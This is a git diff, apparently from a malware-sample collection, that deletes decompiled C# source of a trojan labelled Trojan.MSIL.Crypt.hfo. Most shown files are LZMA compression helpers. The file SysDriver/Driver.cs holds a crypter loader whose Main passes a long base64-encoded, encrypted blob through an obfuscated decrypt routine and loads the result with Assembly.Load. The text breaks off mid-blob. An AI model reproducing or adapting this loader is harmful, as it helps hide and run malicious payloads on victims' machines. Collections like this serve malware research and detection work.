StartPosition; - - public void SetStream(Stream stream) => this.Stream = stream; - - public void ReleaseStream() => this.Stream = (Stream) null; - - public void Init() - { - this.StartPosition = this.Stream.Position; - this.Low = 0UL; - this.Range = uint.MaxValue; - this._cacheSize = 1U; - this._cache = (byte) 0; - } - - public void FlushData() - { - for (int index = 0; index < 5; ++index) - this.ShiftLow(); - } - - public void FlushStream() => this.Stream.Flush(); - - public void CloseStream() => this.Stream.Close(); - - public void Encode(uint start, uint size, uint total) - { - this.Low += (ulong) (start * (this.Range /= total)); - this.Range *= size; - while (this.Range < 16777216U) - { - this.Range <<= 8; - this.ShiftLow(); - } - } - - public void ShiftLow() - { - if ((uint) this.Low < 4278190080U || (uint) (this.Low >> 32) == 1U) - { - byte num = this._cache; - do - { - this.Stream.WriteByte((byte) ((ulong) num + (this.Low >> 32))); - num = byte.MaxValue; - } - while (--this._cacheSize != 0U); - this._cache = (byte) ((uint) this.Low >> 24); - } - ++this._cacheSize; - this.Low = (ulong) ((uint) this.Low << 8); - } - - public void EncodeDirectBits(uint v, int numTotalBits) - { - for (int index = numTotalBits - 1; index >= 0; --index) - { - this.Range >>= 1; - if (((int) (v >> index) & 1) == 1) - this.Low += (ulong) this.Range; - if (this.Range < 16777216U) - { - this.Range <<= 8; - this.ShiftLow(); - } - } - } - - public void EncodeBit(uint size0, int numTotalBits, uint symbol) - { - uint num = (this.Range >> numTotalBits) * size0; - if (symbol == 0U) - { - this.Range = num; - } - else - { - this.Low += (ulong) num; - this.Range -= num; - } - while (this.Range < 16777216U) - { - this.Range <<= 8; - this.ShiftLow(); - } - } - - public long GetProcessedSizeAdd() => (long) this._cacheSize + this.Stream.Position - this.StartPosition + 4L; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/DataErrorException.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/DataErrorException.cs deleted file mode 100644 index 3613adfb..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/DataErrorException.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.DataErrorException -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -using System; - -namespace SevenZip -{ - internal class DataErrorException : ApplicationException - { - public DataErrorException() - : base("Data Error") - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/ICodeProgress.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/ICodeProgress.cs deleted file mode 100644 index c23a2cce..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/ICodeProgress.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ICodeProgress -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -namespace SevenZip -{ - public interface ICodeProgress - { - void SetProgress(long inSize, long outSize); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/ICoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/ICoder.cs deleted file mode 100644 index d4f6dd33..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/ICoder.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ICoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -using System.IO; - -namespace SevenZip -{ - public interface ICoder - { - void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/ISetCoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/ISetCoderProperties.cs deleted file mode 100644 index c2aafe92..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/ISetCoderProperties.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ISetCoderProperties -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -namespace SevenZip -{ - public interface ISetCoderProperties - { - void SetCoderProperties(CoderPropID[] propIDs, object[] properties); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/ISetDecoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/ISetDecoderProperties.cs deleted file mode 100644 index c18649ae..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/ISetDecoderProperties.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ISetDecoderProperties -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -namespace SevenZip -{ - public interface ISetDecoderProperties - { - void SetDecoderProperties(byte[] properties); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/IWriteCoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/IWriteCoderProperties.cs deleted file mode 100644 index 98e96a69..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/IWriteCoderProperties.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.IWriteCoderProperties -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -using System.IO; - -namespace SevenZip -{ - public interface IWriteCoderProperties - { - void WriteCoderProperties(Stream outStream); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/InvalidParamException.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/InvalidParamException.cs deleted file mode 100644 index 4f316d4d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/InvalidParamException.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.InvalidParamException -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -using System; - -namespace SevenZip -{ - internal class InvalidParamException : ApplicationException - { - public InvalidParamException() - : base("Invalid Parameter") - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/SysDriver/Driver.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/SysDriver/Driver.cs deleted file mode 100644 index ddcfbf57..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/SysDriver/Driver.cs +++ /dev/null @@ -1,97 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SysDriver.Driver -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -using SevenZip.Compression.LZMA; -using System; -using System.IO; -using System.Reflection; -using System.Security.Cryptography; -using System.Text; - -namespace SysDriver -{ - internal class Driver - { - private static void Main(string[] args) - { - Assembly Pb52Xxz9Z4MoYr87BkHp36Wda3D2C = Assembly.Load(Driver.Pk9q5HBx3i4S7QdWj86Dc("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